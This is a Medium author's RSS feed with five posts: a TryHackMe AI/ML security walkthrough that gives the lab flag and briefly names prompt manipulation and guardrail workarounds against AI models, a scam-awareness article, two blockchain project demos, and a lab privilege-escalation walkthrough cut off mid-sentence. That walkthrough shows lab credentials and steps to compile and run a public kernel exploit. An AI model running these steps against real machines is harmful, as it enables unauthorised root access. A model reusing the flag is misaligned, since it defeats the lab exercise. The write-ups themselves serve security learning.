<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Maruf Farhan Rigan on Medium]]></title>
        <description><![CDATA[Stories by Maruf Farhan Rigan on Medium]]></description>
        <link>https://medium.com/@marufrigan9?source=rss-9a3eec16e161------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*eQsnxzmsDIAwT7y5oZhuyg.jpeg</url>
            <title>Stories by Maruf Farhan Rigan on Medium</title>
            <link>https://medium.com/@marufrigan9?source=rss-9a3eec16e161------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 13:43:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@marufrigan9/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe AI/ML Security Learning Path — Module 1 Full Walkthrough]]></title>
            <link>https://medium.com/@marufrigan9/tryhackme-ai-ml-security-learning-path-module-1-full-walkthrough-bb6b08bfc4f5?source=rss-9a3eec16e161------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb6b08bfc4f5</guid>
            <dc:creator><![CDATA[Maruf Farhan Rigan]]></dc:creator>
            <pubDate>Tue, 14 Apr 2026 22:25:06 GMT</pubDate>
            <atom:updated>2026-04-14T22:25:06.699Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>What even is AI?</strong></p><p>At its core, AI is just a machine doing things we’d normally expect a human brain to do — reasoning, problem-solving, being creative. The idea isn’t new either; people were chasing this back in the 1950s, it just wasn’t mainstream then.</p><p><strong>Then came Machine Learning</strong></p><p>ML is where it got interesting. Instead of telling a computer exactly what to do, you just feed it data and let it figure things out on its own — similar to how we learn from experience. The more data it gets, the better it becomes. It goes through a cycle: understand the problem, collect data, train on it, test it, deploy it, and keep improving it. Never really “finished.”</p><p>There are a few flavours of ML — sometimes the data is labelled and you guide the learning, sometimes it’s raw and the machine finds patterns itself, and sometimes it’s a bit of both. There’s also reinforcement learning, where the model learns by being rewarded for getting things right, like training a dog.</p><p><strong>Neural Networks and Deep Learning</strong></p><p>This is where it starts mimicking the actual human brain. Our brains have billions of neurons connected by synapses, constantly adjusting based on what we experience. Neural networks work the same way — layers of nodes passing information through, each one getting closer to a final answer.</p><p>Deep Learning kicks in when those networks get really deep — more than three layers. The big deal with DL is that it doesn’t need labelled data at all. It can look at raw, messy, unstructured data and work out the patterns itself, no human hand-holding required.</p><p>The reason DL only really exploded recently? The internet. Suddenly there was an enormous amount of data available, and DL finally had the fuel it needed to show what it could do.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*_yj0qx1KCavkbo4HbFA_Dw.png" /></figure><p>Task 3:</p><p>Everything we covered before — ML, deep learning, neural networks — was all building toward this. LLMs like ChatGPT are essentially very advanced deep learning models that do one thing at their core: predict the next word. They’re trained on staggering amounts of text, fine-tuning billions of parameters over and over through a process called backpropagation until they get really good at it. What made this possible at scale was a 2017 breakthrough called transformer neural networks, which allowed models to process text in parallel rather than word by word, and to pay “attention” to the words that actually matter in a sentence for context. After all that training, humans step in to review responses and weed out anything unhelpful — that’s RLHF. The result is what blew everyone’s minds when ChatGPT launched — a machine that could hold a conversation, write, reason, and create, all by predicting one word at a time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*D_oTvptUEo0F5VI74-g4og.png" /></figure><p><strong>Task 4: AI Security Threats</strong></p><p>AI hasn’t just changed how defenders work — it’s handed attackers a serious upgrade too. On one side, the AI models themselves come with a new set of vulnerabilities: prompts can be manipulated to make a model ignore its instructions, training data can be poisoned to make a model behave incorrectly, models can be cloned through repeated API queries, sensitive training data can leak, and model performance can silently degrade over time if nobody’s watching. On the other side, existing attacks have just become far more dangerous. Attackers can now generate malware with a few keystrokes, create deepfakes convincing enough to fool a colleague into handing over confidential information, and write flawless phishing emails at scale regardless of their language skills — all using the same generative AI tools the rest of us use every day. The guardrails built into models like ChatGPT help, but as covered earlier, those can sometimes be worked around through clever prompt engineering. The threat landscape hasn’t just shifted, it’s accelerated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*q60Z6Qe1V-HkoMvlk5bojg.png" /></figure><p>Task 5 Defensive AI<br>All the scary AI threat stuff from the previous section only tells half the story. The other half is that AI is genuinely one of the best tools we have to fight back with. IBM’s data backs this up — organisations using AI saved an average of $2.2 million per breach and cut the time to identify and contain one by 108 days. That’s not a small gain.</p><p>In practice, AI helps defenders in four main ways. It can analyse massive amounts of data like network traffic and flag anomalies far faster than any human team could. It can predict and automate responses — the same way AI helps attackers craft better phishing emails, it can be trained to spot and block them before they ever reach an inbox. It can summarise lengthy incident reports and draw connections between events that a human might miss. And it can assist in investigations, letting analysts feed logs directly into a chatbot and get meaningful, actionable answers back in plain English.</p><p>The catch is that only 24% of generative AI initiatives are actually secured properly, which means a lot of organisations are getting the new attack surface without the protection. Securing AI means locking down who can access the models, encrypting training data, following established standards like ISO/IEC 27090, and continuously monitoring model behaviour for anything unexpected.</p><p>The short version: AI is not the enemy. Ignoring it is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*_YJw8kYCXEHYKejoFHXUNw.png" /></figure><p>Task 6: Practical</p><p><strong>Step 1 — Open the AI Agent</strong></p><p>Click the “Open Agent” button on the TryHackMe page. This opens your AI assistant chat window. That’s all you need for everything below.</p><p><strong>Step 2 — Try the Log Analysis (just for practice)</strong></p><p>Paste this into the chat:</p><blockquote><em>Here’s a logline: Apr 22 11:45:09 ubuntu sshd[1245]: Failed password for invalid user admin from 203.0.113.55 port 56231 ssh2. Can you explain what is happening in this log entry?</em></blockquote><p>Read what it says back. It’ll break down what the log means in plain English.</p><p><strong>Step 3 — Try the Phishing Detection (just for practice)</strong></p><p>Paste the suspicious Microsoft 365 email into the chat and ask if it’s a phishing attempt. The AI will point out the red flags like the dodgy sender address and fake URL.</p><p><strong>Step 4 — Try Threat Hunting and Regex (just for practice)</strong></p><p>Ask it to suggest three threat hunting scenarios, then ask it to write a regex pattern for failed SSH login attempts. Just get a feel for what it can do.</p><p><strong>Step 5 — Get the Flag</strong></p><p>This is the important one. Paste this into the chat:</p><p><em>What are these values: DNS over HTTPS (DoH) Port, SYN flood timeout and Windows ephemeral port range size?</em></p><p>The AI will return three numbers. You’ll get something like:</p><ul><li>DoH Port = <strong>443</strong></li><li>SYN flood timeout = <strong>120</strong></li><li>Windows ephemeral port range size = <strong>16384</strong></li></ul><p><strong>Step 6 — Build the Flag</strong></p><p>Take those three numbers and slot them into this format:</p><p><em>thm{443/120/16384}</em></p><p>That’s your flag. Submit it and the task is done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*awiabPk-bLcqXpRkz_jvYQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb6b08bfc4f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Holiday Shopping or holiday Scamming? Essential Tips to Keep Your Online Purchases Safe!]]></title>
            <link>https://medium.com/@marufrigan9/holiday-shopping-or-holiday-scamming-essential-tips-to-keep-your-online-purchases-safe-1de5f1c8f64a?source=rss-9a3eec16e161------2</link>
            <guid isPermaLink="false">https://medium.com/p/1de5f1c8f64a</guid>
            <category><![CDATA[scam-alert]]></category>
            <category><![CDATA[scam]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Maruf Farhan Rigan]]></dc:creator>
            <pubDate>Fri, 15 Nov 2024 21:13:04 GMT</pubDate>
            <atom:updated>2024-11-15T21:13:04.926Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yt9MdYk3rOMneaVNhIYvcw.jpeg" /></figure><p>As the holiday season approaches, consumers gear up for festive shopping sprees. Unfortunately, cybercriminals are equally ready, using this high-spending period to launch scams that exploit shoppers’ urgency and excitement. From phishing emails to fake e-commerce websites, fraudsters have devised various strategies to lure consumers into traps that can result in compromised personal data, stolen payment details, or even direct financial loss.</p><p>One common scam involves “too-good-to-be-true” deals that appear through emails or ads. A recent example of this scam occurred during last year’s Black Friday, where consumers reported receiving fake Amazon notifications claiming they’d won gift cards or discounts, urging them to click a link to redeem them. Once clicked, these links redirected users to phishing websites mimicking Amazon’s login page, capturing their credentials and payment information. Many victims were left with unauthorized charges on their bank accounts.</p><p><strong>Case Study: The Rise of Fake Online Retailers During Seasonal Shopping</strong></p><p>As the holiday season approaches, consumers often seek the best deals online, making them prime targets for cybercriminals. A notable example is the extensive network of fraudulent e-commerce sites known as “BogusBazaar,” which has exploited shoppers’ trust and urgency during peak shopping periods.</p><p><strong>Overview of the Scam</strong></p><p>“BogusBazaar” is a sophisticated operation comprising over 75,000 fake online retail sites. These sites clone legitimate e-commerce platforms, presenting attractive deals to lure unsuspecting customers. Once a purchase is made, victims either receive counterfeit products or nothing at all. This network has reportedly scammed over 800,000 orders in four years, with a significant number of victims in France.</p><p>BogusBazaar operates a sophisticated, highly automated online fraud ecosystem that allows them to scale fake webshops quickly and efficiently. Their setup is designed for resilience and agility, relying on a mix of frontend and backend infrastructure that is both redundant and modular. Here’s a breakdown of their technical approach:</p><h3>Frontend: Webshops and Payment Gateways</h3><ol><li><strong>Domain Management</strong>:</li></ol><ul><li>BogusBazaar primarily acquires previously expired domains, especially those with a strong Google reputation. This helps them avoid immediate detection by appearing as legitimate businesses in search engine results.</li><li>By semi-automating the process of creating storefronts, they can mass-produce websites under different names and logos, making each appear as a unique, authentic online store. Quality assurance processes are applied to reduce any inconsistencies that might alert customers or search engines.</li></ul><p><strong>2. Webshop Technology</strong>:</p><ul><li>The webshops themselves are powered by WooCommerce, a popular e-commerce plug-in for WordPress. WooCommerce provides them flexibility and a familiar interface that is customizable, scalable, and easily integrated with various payment plugins.</li><li>Historically, other platforms like Zen Cart and OpenCart were used, indicating that they’ve likely evolved their platform to optimize speed and customization options available in WooCommerce.</li></ul><p><strong>3. Payment Page Flexibility</strong>:</p><ul><li>Payment gateways are separate from the main webshop, allowing BogusBazaar to rotate or replace these pages quickly without affecting the storefront. If a payment page is flagged for fraud, they can swap it out with a fresh one, minimizing downtime.</li><li>This rotation is an automated process that prevents customers from noticing any disruption, and enables BogusBazaar to bypass takedowns on individual pages.</li></ul><h3>Backend: Server and Orchestration</h3><ol><li><strong>Server Utilization</strong>:</li></ol><ul><li>A typical server for BogusBazaar hosts around 200 webshops, though some have configurations to support over 500. This design allows for centralization and easy management, reducing infrastructure costs while keeping a high volume of fraudulent stores online.</li><li>Each server is typically assigned hundreds of IP addresses. This helps mask their true IP and avoid being blacklisted quickly, as IP addresses can be swapped to evade detection.</li></ul><p><strong>2. Cloudflare for Concealment</strong>:</p><ul><li>By using Cloudflare, they can obscure the IP addresses of the underlying servers, leveraging Cloudflare’s CDN and DDoS protection services. This hides the servers’ actual locations and provides some level of insulation from direct takedowns.</li><li>The Cloudflare setup also ensures performance and load distribution, meaning the webshops remain responsive even under heavy traffic.</li></ul><p><strong>3. Automation and Orchestration</strong>:</p><ul><li>One of the more advanced aspects of BogusBazaar’s setup is its orchestration capabilities. The infrastructure is automated to an extent that allows them to rapidly deploy new webshops, rotate domains, and switch payment pages in response to any takedowns or flags.</li><li>With these orchestration tools, they can configure and deploy a new webshop from a standardized template in minutes, making it easy to rebuild if one is taken down.</li></ul><p>This technical structure provides BogusBazaar with a robust framework for scaling fake websites efficiently. Their reliance on automation for domain, payment page, and server management highlights a well-organized operation designed to stay a step ahead of anti-fraud efforts, making it difficult for authorities and security professionals to keep up</p><p>The fraudulent sites employ several tactics to deceive consumers:</p><ul><li><strong>Cloning Legitimate Websites:</strong> By replicating the design and layout of well-known e-commerce platforms, these fake sites appear authentic.</li><li><strong>Aggressive Online Marketing:</strong> Utilizing targeted ads on social media and search engines, they attract a large number of potential victims.</li><li><strong>Attractive Pricing:</strong> Offering significant discounts on popular items entices shoppers looking for holiday deals.</li></ul><p><strong>Impact on Consumers</strong></p><p>Victims of this scam have faced:</p><ul><li><strong>Financial Losses:</strong> Payments made for non-existent or counterfeit products.</li><li><strong>Data Compromise:</strong> Personal and financial information provided during transactions may be misused.</li><li><strong>Erosion of Trust:</strong> Negative experiences diminish confidence in online shopping platforms.</li></ul><h3>How to Stay Safe While Shopping Online</h3><p>With scams like BogusBazaar on the rise, it’s crucial to adopt smart online shopping habits to protect yourself this season. Here are a few practical tips:</p><ol><li><strong>Verify Website Authenticity</strong>: Ensure you’re on a secure, legitimate website before making any purchases. Look for “https://” in the URL and scrutinize domain names for slight misspellings. Conduct a quick search to check the site’s reputation if it’s unfamiliar.</li><li><strong>Beware of Unsolicited Deals</strong>: Offers received through unsolicited emails or social media ads should be approached with caution. If a deal seems too good to be true, it’s likely a red flag.</li><li><strong>Use Secure Payment Methods</strong>: Opt for credit cards or secure payment services like PayPal, which offer protection against fraudulent charges. Avoid using debit cards or bank transfers for online purchases.</li><li><strong>Be Cautious with Public Wi-Fi</strong>: If you’re shopping on-the-go, avoid using public Wi-Fi networks, as they’re vulnerable to cyberattacks. Stick to secure, private networks whenever possible.</li><li><strong>Monitor Financial Statements</strong>: Check your bank and credit card statements regularly for unauthorized transactions. The sooner you spot and report fraudulent activity, the better.</li><li><strong>Report Suspicious Websites</strong>: If you encounter a fake website or are scammed, report it to local consumer protection agencies to help prevent others from falling victim.</li></ol><p>By remaining alert and following these simple yet effective practices, you can enjoy a secure and stress-free shopping experience. This holiday season, take charge of your online safety and ensure your transactions stay secure. Protect yourself from cyber threats — and make your seasonal shopping experience one to remember for all the right reasons.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1de5f1c8f64a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enhancing E-Voting Systems with Blockchain Technology]]></title>
            <link>https://medium.com/@marufrigan9/enhancing-e-voting-systems-with-blockchain-technology-9fe1b203f677?source=rss-9a3eec16e161------2</link>
            <guid isPermaLink="false">https://medium.com/p/9fe1b203f677</guid>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[blockchain-technology]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[e-voting]]></category>
            <category><![CDATA[blockchain-development]]></category>
            <dc:creator><![CDATA[Maruf Farhan Rigan]]></dc:creator>
            <pubDate>Tue, 21 May 2024 16:30:39 GMT</pubDate>
            <atom:updated>2024-05-21T16:30:39.605Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ag3wtXNMt_uoxqzZA8FqiA.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F0YE_t8Etrao&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D0YE_t8Etrao&amp;image=http%3A%2F%2Fi.ytimg.com%2Fvi%2F0YE_t8Etrao%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/13aa28ba3256c9533ecd9ef9c9a5c5e0/href">https://medium.com/media/13aa28ba3256c9533ecd9ef9c9a5c5e0/href</a></iframe><p>The integrity and security of electoral processes are fundamental to the functioning of democracies worldwide. Traditional voting systems, whether paper-based or electronic, are often plagued by issues such as fraud, tampering, and a lack of transparency, undermining public trust in the electoral outcomes. To address these challenges, innovative technologies are being explored to enhance the reliability and security of e-voting systems. This article will provide an overview of how blockchain can be utilized to enhance e-voting systems, highlighting the key features and benefits of this approach. I will also include practical examples and visual aids to demonstrate how blockchain can safeguard the electoral process from end to end. Additionally, a YouTube video will be shared to offer a more in-depth look at the system in action.</p><p>For students and researchers interested in this cutting-edge technology, I am offering the source code for purchase, enabling you to experiment with and further develop blockchain-based e-voting solutions. Join me as we explore how blockchain technology can bring unprecedented security and trust to the democratic process, paving the way for more reliable and transparent elections.</p><p>For this project, the smart contract has been uploaded to</p><p>GitHub (https://github.com/marufrigan/smart-contractblockchain).</p><p>At first, we need to run the local blockchain bystarting up the ganache. In the main window, the transaction balance will show 100 ETH because no transaction has been made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*fpz0ViLxJdU_HpCxTL_PJw.png" /></figure><p>Now we’re using the truffle framework, which lets us issuecommands on the command line, to move the smart contractto the blockchain. Now, in the Visual Studio code terminal, weneed to run the command “npm install” and, after that, trufflemigrate — reset. To run the project, we need to run “npm rundev.” With this command, the browser will open the homepage, and the metamask will open a pop-up window, and we need to click on continue.</p><ol><li>User interface: The main interface is known as a user interface, where the user can cast his vote for his favorite candidate. Once the login is successful, it will show the candidate’s name and vote count. After the voter imports their account by importing the private key from the address, a metamask popup opens when clicked on confirmation.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*umdlnun4i7LaaHHQiaqM2A.png" /></figure><p>The voter is sent to the main page after the confirmation process. On this page, the only thing that is displayed are the results; however, at this time, you cannot cast a vote (Fig. 2).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*p0VUy2QKE9sYtv3kJOEZXw.png" /></figure><p>Similarly, other individuals are also able to cast their voteby importing their account into the election system. If we check the metamask window, we can see the verification that the vote has been done (Fig. 6).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*LPm4iq8IAhg6a40ZxTC22Q.png" /><figcaption>Fig. 3. Vote cast Confirmation</figcaption></figure><p>2) <strong>Checking the transaction</strong> To make it easier for users to count their votes in the appropriate order, the transaction list will be made available to the public. By looking at the transaction list, the users can verify the votes that they have selected. It is expected that the full transaction list will be like the one shown in Fig. 7.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*l2QOnbICZI6JjCCBfX2tLQ.png" /></figure><p>In the realm of e-voting, blockchain technology addresses the critical concerns of security, transparency, and voter confidence. By securely recording votes on a decentralized ledger, blockchain prevents tampering and ensures that every vote is counted accurately. This innovation has the potential to restore faith in electoral systems and strengthen the democratic process. Through practical examples and demonstrations, my research showcases how blockchain can be the cornerstone of future e-voting systems.</p><p>For those inspired by these applications, I offer the source code for purchase, providing a foundation for further exploration and development. Whether you’re a student, researcher, or developer, these resources can help you contribute to advancing the field of blockchain technology.</p><p>As we move forward, the integration of blockchain into various industries promises to address long-standing issues of fraud and security. By continuing to innovate and explore its capabilities, we can build a future where trust and authenticity are paramount, benefiting society as a whole.</p><p>for source code or to connect with me please click on the below links:</p><p><a href="https://www.linkedin.com/in/maruf-farhan-6086a122/">LinkedIn</a> | <a href="https://medium.com/@marufrigan9">Medium</a> | <a href="https://github.com/marufrigan">GitHub</a> | <a href="https://www.youtube.com/channel/UCgRHuKezcz2oD5nK4ml2c4w">YouTube</a> | <a href="https://www.researchgate.net/profile/Maruf-Farhan-Rigan">Research Gate</a> | <a href="https://scholar.google.com/citations?user=9RLzH9MAAAAJ&amp;hl=en">Google Scholar</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9fe1b203f677" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blockchain To detect Fake Products]]></title>
            <link>https://medium.com/@marufrigan9/blockchain-to-detect-fake-products-293ac27cdded?source=rss-9a3eec16e161------2</link>
            <guid isPermaLink="false">https://medium.com/p/293ac27cdded</guid>
            <category><![CDATA[counterfeit]]></category>
            <category><![CDATA[blockchain-technology]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[blockchain-development]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[Maruf Farhan Rigan]]></dc:creator>
            <pubDate>Tue, 21 May 2024 16:14:57 GMT</pubDate>
            <atom:updated>2024-05-21T16:14:57.908Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/275/1*xwCBoOybBrz6Jgr5B9cFuQ.jpeg" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F9H5sO8J8cAw%3Fstart%3D255%26feature%3Doembed%26start%3D255&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D9H5sO8J8cAw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F9H5sO8J8cAw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0e19f2e031f28de337a4cdd4071d2ae3/href">https://medium.com/media/0e19f2e031f28de337a4cdd4071d2ae3/href</a></iframe><p>In today’s global market, counterfeit products pose a significant threat to both consumers and legitimate businesses. From luxury goods to everyday items, the proliferation of fake products not only undermines brand integrity but also endangers consumer safety. Traditional methods of detecting counterfeit goods often fall short, leaving a critical gap that needs to be addressed with innovative solutions.</p><p>In my recent dissertation, I explored the potential of blockchain technology to combat this pervasive issue. Blockchain, known for its secure and immutable nature, offers a promising avenue for creating a reliable and transparent system to authenticate products. By leveraging blockchain, we can establish a traceable and tamper-proof record of a product’s journey from manufacturer to consumer, ensuring its authenticity at every step.</p><p>This article delves into the mechanics of how blockchain technology can be applied to detect fake products, supported by a practical demonstration. I will share screenshots and a YouTube video that illustrate the system in action.</p><p>Join me as we uncover how blockchain can revolutionize the fight against counterfeit goods, providing a secure and efficient method to protect consumers and brands alike.</p><p>1) Step 1: add product to blockchain.</p><p>To initiate the process, the producer must access the</p><p>website and input comprehensive product information,</p><p>facilitating the integration of the product into the blockchain.</p><p>Upon inputting the necessary information, a QR code-based</p><p>on blockchain technology will be generated and stored for</p><p>future examination. Throughout this procedure, Metamask</p><p>will provide a notification regarding the confirmation and</p><p>require the user to click on the “continue” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*DVnWq2_JHHeBpmz-EwLfyA.png" /><figcaption>Fig. 1: Add product details.</figcaption></figure><p>2) Step 2: Adding seller: For the following task, the manufacturer will navigate to the “add seller” tab and input various details, including the seller’s name, seller’s brand, seller’s code, seller’s phone number, seller’s manager, address, and manufacturer ID, in order to successfully add the seller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*j-t_VltxNbFYvkg0QfPFQg.png" /><figcaption>Fig. 4. Add seller details to the block.</figcaption></figure><p>3) Step 3: Sell Product to Seller:After the manufacturer includes the seller, they will proceed to vend their product to the seller. Within that tab, the maker will input or scan the QR code, and subsequently, all the essential information, such as the product’s serial number and the seller’s code, will be instantly transferred to the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*mONJwgvcSR9dN1_LZJlxrw.png" /><figcaption>Fig. 3. Sell the product to the seller.</figcaption></figure><p>4) Step 4: During this phase, when a customer visits the seller’s shop or a seller who intends to sell a product to a customer, they would include a QR code and input certain details, such as the product’s serial number and the customer’s code (name), before completing the sale with the consumer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*MpEsT_zUcHtypyb6zsSmvQ.png" /><figcaption>Fig. 4. Sell Product to consumer</figcaption></figure><p>5) Step 5: The customer will visit the website’s customer section after buying. Customer section options include product history and verification. Scan the QR code to upload the product’s serial number and prompt the customer to enter their customer code.After clicking on the product status, the consumer will receive detailed information about its validity, including whether it is real or fake. The graphic shows that the consumer got real goods if the data, especially the QR code, was unchanged.Customers can also access their purchase history in the customer section, including seller and factory IDs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*srVug8lQQmQXkBnQVivNwg.png" /><figcaption>Fig. 5 shows the customer verifying the product.</figcaption></figure><p>Assume that the producer introduced the goods and allrelevant details in the initial phase and created a QR codebased on blockchain technology. Assume that the sellermanipulated the QR code and then sold it to the buyer. Upon the customer’s repetition of stage 5 and subsequent verification of the QR code, a counterfeit product alert will be triggered, enabling the manufacturer to obtain information regarding the source of the counterfeit products and initiate the traceability process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*KMF6B8ObT8cLywLjI-PNxA.png" /><figcaption>Fig. 6 . Fake product detection</figcaption></figure><p>So by following the procedure with the help of blockchain,technology, customers can detect whether they purchased genuine products or fake products.</p><p>For students and developers interested in further exploring this technology, I offer the source code for purchase, enabling you to adapt and implement this solution in your own projects.</p><p><a href="https://www.linkedin.com/in/maruf-farhan-6086a122/">LinkedIn</a> | <a href="https://medium.com/@marufrigan9">Medium</a> | <a href="https://github.com/marufrigan">GitHub</a> | <a href="https://www.youtube.com/channel/UCgRHuKezcz2oD5nK4ml2c4w">YouTube</a> | <a href="https://www.researchgate.net/profile/Maruf-Farhan-Rigan">Research Gate</a> | <a href="https://scholar.google.com/citations?user=9RLzH9MAAAAJ&amp;hl=en">Google Scholar</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=293ac27cdded" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cracking LiPrivilege Escalation: A Guide to Kernel Exploitation]]></title>
            <link>https://medium.com/@marufrigan9/cracking-liprivilege-escalation-a-guide-to-kernel-exploitation-bda4f091fe45?source=rss-9a3eec16e161------2</link>
            <guid isPermaLink="false">https://medium.com/p/bda4f091fe45</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[linux-priv-esc]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kernel]]></category>
            <dc:creator><![CDATA[Maruf Farhan Rigan]]></dc:creator>
            <pubDate>Sat, 27 Apr 2024 00:00:23 GMT</pubDate>
            <atom:updated>2024-04-27T00:00:23.804Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cracking Linux Privilege Escalation: A Guide to Kernel Exploitation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*2V4wAotsZ-FZ3MFlDEXlmQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*YW2g18mIDEE79FvgcBDAfg.jpeg" /></figure><p>The <strong>kernel</strong> is the core component of an operating system that manages system resources, facilitates communication between hardware and software components, and provides essential services for running applications. It acts as a bridge between the hardware and the software layers of the system, overseeing tasks such as memory management, process scheduling, file system access, and device input and output.</p><ol><li><strong>Compromising Data Integrity:</strong> The attacker can modify, delete, or exfiltrate sensitive data stored on the system, leading to data breaches, loss of intellectual property, or financial damage.</li><li><strong>Disrupting System Functionality:</strong> By manipulating critical system resources and processes, the attacker can disrupt the normal operation of the system, causing denial of service (DoS) conditions, system crashes, or instability.</li><li><strong>Installing Malware: </strong>The attacker can install and execute malicious software, such as backdoors, rootkits, or remote access trojans (RATs), to maintain persistent access to the compromised system and facilitate further attacks.</li><li><strong>Escalating Privileges:</strong> Kernel exploits often lead to privilege escalation, allowing the attacker to gain root or administrator-level access to the system, thereby bypassing security controls and gaining complete control over the system.</li><li><strong>Pivoting to Other Systems</strong>: Once access is gained to a compromised system, the attacker may pivot to other systems within the network, using the compromised system as a foothold for launching additional attacks.</li></ol><p>In this article, I will demonstrate how to get the kernel version once you get access to the target system and how you can exploit it to get into the system.</p><h3>Task:</h3><p>Welcome to the Kernel Exploitation Challenge! Your objective is to gain root privileges on the target machine by exploiting a vulnerability in the Linux kernel. Follow these steps to complete the challenge:</p><ol><li>Access the Target Machine:</li><li>get the hostname and kernel version of the system</li><li>Identify the kernel version.</li><li>search for exploit code</li><li>get the privilege escalation of the target machine and get the flag1.txt</li></ol><p><strong>Practical work</strong></p><ol><li>So at first, when accessing the target machine,</li></ol><ul><li>Launched the target machine attached to the challenge.</li><li>Access the target machine directly from the browser or via SSH using the provided low-privilege user credentials (username: Karen, password: Password).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VetRpmiBWxzDEwPqi85hkg.png" /></figure><p>2. Identifying the Kernel Version:</p><p>Used the uname -a command to identify the kernel version of the target system (e.g., Linux 4.15.0-55-generic).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pPfA0Pt1XSZTdG6pK3qnOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UpD0cVRohCKaKGIKrDVFCQ.png" /></figure><p>3. Searching for Exploit Code: Utilise search engines and exploit databases to find exploit code suitable for the identified kernel version. we found the CVE from the exploit database (see screenshot above)</p><p>4. Transferring and Executing the Exploit Code: In here, we have used the scp command and /home/kali/, where we have downloaded the exploit from the exploit database, and in the target machine, we use the tmp folder, where we will transfer the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7CG-9kcp35pQYWcATImcOQ.png" /></figure><p>We will go to the c:/tmp folder and compile the exploit code on the target machine using the cc command (e.g., cc -o exploit 37292.c).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*Seo5JrtlrPKIejUCFxLeVA.png" /></figure><p>Now our task is to execute the compiled exploit code on the target machine to exploit the vulnerability in the kernel (e.g., ./exploit1).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*6SR-290_hX_n-lrovNQqPA.png" /></figure><p>Evaluating the success of the exploit and confirming its effectiveness typically involves several steps to ensure that the exploit has achieved its 